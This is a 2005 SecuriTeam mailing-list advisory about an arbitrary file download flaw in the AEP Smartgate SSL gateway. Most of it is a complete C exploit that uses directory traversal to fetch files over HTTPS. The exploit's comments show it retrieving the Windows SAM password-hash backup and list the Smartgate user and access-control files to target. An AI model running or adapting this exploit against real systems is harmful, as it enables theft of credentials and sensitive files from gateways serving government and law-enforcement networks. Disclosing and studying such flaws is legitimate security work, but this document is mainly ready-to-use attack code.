[EXPL] AEP Smartgate Arbitrary File Access (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



AEP Smartgate Arbitrary File Access (Exploit)
------------------------------------------------------------------------


SUMMARY

Smartgate is an application layer security gateway that meets FIPS 140-2
requirements for large-scale networked environments for IP-based Networks.
AEP provide network solutions for government, law enforcement, homeland
security, public safety, criminal intelligence and much more.

A vulnerability exists in the smartgate SSL server (listens on port 443 by
default) which may allow a malicious user to download arbitrary files with
the priviledges of the smartgate server.

DETAILS

Exploit:
/* prdelka-vs-AEP-smartgate
* ========================
* Smartgate is an application layer security gateway that meets FIPS
140-2
* requirements for large-scale networked environments for IP-based
Networks.
* AEP provide network solutions for government, law enforcement, homeland
security,
* public safety, criminal intelligence and much more.
*
* A vulnerability exists in the smartgate SSL server (listens on port 443
by default)
* which may allow a malicious user to download arbitrary files with the
priviledges
* of the smartgate server.
*
* By analyzing the returned HTTP header response, an attacker can also
test for the
* existance of a remote directory. Remote directories return a "Moved
Permanently"
* error, as opposed to a 404, as shown below.
*
* localhost 0day # ./prdelka-vs-AEP-smartgate -s www.target.com -p 443 -f
progra~1/v-one/smartgate/data -l sgusrdb.idx
* [ AEP/Smartgate arbitrary file download exploit
* [ Connected to www.target.com via (443/tcp)
* [ Displaying raw HTTP response details
* HTTP/1.0 301 Moved Permanently
* Date: Tue Nov 22 16:53:11 GMT+00:00 2005
* Location: /..\..\..\..\..\..\..\progra~1/v-one/smartgate/data/
* Server: SSLSERVER/1.0
* Content-Type: text/html
* Expires: Now
*
* [ Exploit success, directory found
*
* A number of files/directories on win32 installations of smartgate may
help the attacker further compromise
* the VPN. Under unix installations the default root directory of
smartgate is "/usr/smartgate" but may vary.
*
* + progra~1/v-one/smartgate - default directory for smartgate
installation.
* + data - default directory for data files.
* - adm-gw.acl - admin users are defined here.
* - reginfo.dat - defines data entry fields for users.
* - sgate.acl - access control for secured TCP services.
* - sgconf.ini - dynamic information on the smartgate
server including CA information.
* - sgusrdb.idx - contains userid status,long
name,group,auth key.
* - sweb.acl - provides access control to webserver.
* - sweb.dny - denies access to specified webservers.
* + winnt - common system root directory, varies.
* + repair - contains backup SAM file.
* - sam - backup of SAM file containing password
hashes.
* + system32 - common system32 directory, resides above
%sysroot%
* - kernel32.dll - detailed information of win32 version
installed.
*
* Example.
* Below is an example of exploit being used to retrieve the SAM password
file in a real world attack. This
* exploit is untested against unix implementations of smartgate but
should function as expected with little
* or no modification (char *http1). Tested against Smartgate V4.3B
*
* localhost 0day # gcc prdelka-vs-AEP-smartgate.c -o
prdelka-vs-AEP-smartgate -lssl
* localhost 0day # ./prdelka-vs-AEP-smartgate -s www.target.com -p 443 -f
winnt/repair/sam. -l sam
* [ AEP/Smartgate arbitrary file download exploit
* [ Connected to www.target.com via (443/tcp)
* [ Displaying raw HTTP response details
* HTTP/1.0 200 OK
* Date: Tue Nov 22 17:06:00 GMT+00:00 2005
* Content-type: text/plain
* Content-length: 20480
* Server: SSLSERVER/1.0
* Expires: Now
*
* [ Exploit success, file found
* [ Recieved 20480 byte(s) and saved as 'sam'
*
* - prdelka
*/
#include <openssl/ssl.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/ssl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>

int main(int argc,char *argv[])
{
BIO * bio;
SSL * ssl;
SSL_CTX * ctx;
int p,c,fd,index = 0;
unsigned long size = 0;
int ihost = 0, iport = 0, ifile = 0, ilocal = 0, check = 0;
char *host,*request,*file,*connect,*port,*httpbuf,*httpbuf2;
char *http1 = "GET /..\\..\\..\\..\\..\\..\\..\\";
char *http2 = " HTTP/1.1\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A";
char r[1024];
static struct option options[]= {
{"server", 1, 0, 's'},
{"port", 1 , 0, 'p'},
{"remotefile", 1, 0, 'f'},
{"localfile", 1, 0, 'l'},
{"help", 0, 0, 'h'}
};
printf("[ AEP/Smartgate arbitrary file download exploit\n");
while(c != -1)
{
c = getopt_long(argc,argv,"s:p:f:l:h",options,&index);
switch(c){
case -1:
break;
case 's':
host = malloc(strlen(optarg) + 1);
sprintf(host,"%s",optarg);
ihost = 1;
break;
case 'p':
port = malloc(strlen(optarg) + 1);
sprintf(port,"%s",optarg);
iport = 1;
break;
case 'f':
request = malloc(strlen(optarg) + strlen(http1) + strlen(http2) +
1);
sprintf(request,"%s%s%s",http1,optarg,http2);
ifile = 1;
break;
case 'l':
file = malloc(strlen(optarg) + 1);
sprintf(file,"%s",optarg);
ilocal = 1;
break;
case 'h':
printf("[\n[ %s\n",argv[0]);
printf("[ --server|-s <dns/ip>\n");
printf("[ --port|-p <port>\n");
printf("[ --remotefile|-f <path/and/file>\n");
printf("[ --localfile|-l <localfile/to/saveas>\n");
printf("[\n[ For a more detailed explanation read the source\n");
exit(0);
break;
default:
break;

}
}
if(ihost != 1 || iport != 1 || ifile != 1 || ilocal != 1){
printf("[ Try %s --help\n",argv[0]);
exit(0);
}
ERR_load_BIO_strings();
SSL_load_error_strings();
OpenSSL_add_all_algorithms();
ctx = SSL_CTX_new(SSLv23_client_method());
bio = BIO_new_ssl_connect(ctx);
BIO_get_ssl(bio, & ssl);
SSL_set_mode(ssl, SSL_MODE_AUTO_RETRY);
connect = malloc(strlen(host) + strlen(port) + 2);
sprintf(connect,"%s:%s",host,port);
BIO_set_conn_hostname(bio, connect);
if(BIO_do_connect(bio) <= 0)
{
fprintf(stderr, "[ Error attempting to connect\n");
ERR_print_errors_fp(stderr);
BIO_free_all(bio);
SSL_CTX_free(ctx);
return 0;
}
printf("[ Connected to %s via (%s/tcp)\n",host,port);
BIO_write(bio, request, strlen(request));
check = 0;
httpbuf = malloc(2);
memset(httpbuf,0,2);
while(check == 0)
{
p = BIO_read(bio, r, 1);
r[p] = 0;
httpbuf2 = malloc(strlen(r) + strlen(httpbuf) + 1);
sprintf(httpbuf2,"%s%s",httpbuf,r);
free(httpbuf);
httpbuf = httpbuf2;
check = (int)strstr(httpbuf,"\n\n");
}
printf("[ Displaying raw HTTP response details\n");
printf("%s",httpbuf);
check = 0;
check = (int)strstr(httpbuf,"200 OK");
if(check != 0)
{
printf("[ Exploit success, file found\n");
fd = open(file,O_RDWR|O_CREAT,S_IRWXU);
if(fd == -1){
printf("[ Error creating %s",file);
exit(0);
}
for(;;)
{
p = BIO_read(bio, r, 1023);
if(p <= 0) break;
r[p] = 0;
write(fd,r,p);
size = size + p;
}
printf("[ Recieved %u byte(s) and saved as '%s'\n",size,file);
close(fd);
}
if(check==0)
{
check = (int)strstr(httpbuf,"301 Moved");
if(check != 0)
{
printf("[ Exploit success, directory found\n");
}
}
free(httpbuf);
if(check == 0)
{
printf("[ Exploit failed\n");
}
BIO_free_all(bio);
SSL_CTX_free(ctx);
return 0;
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:wh1t3h4t3@xxxxxxxxxxx>
Micheal Turner.
The original article can be found at:
<https://prdelka.blackart.org.uk/exploitz/>
https://prdelka.blackart.org.uk/exploitz/



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages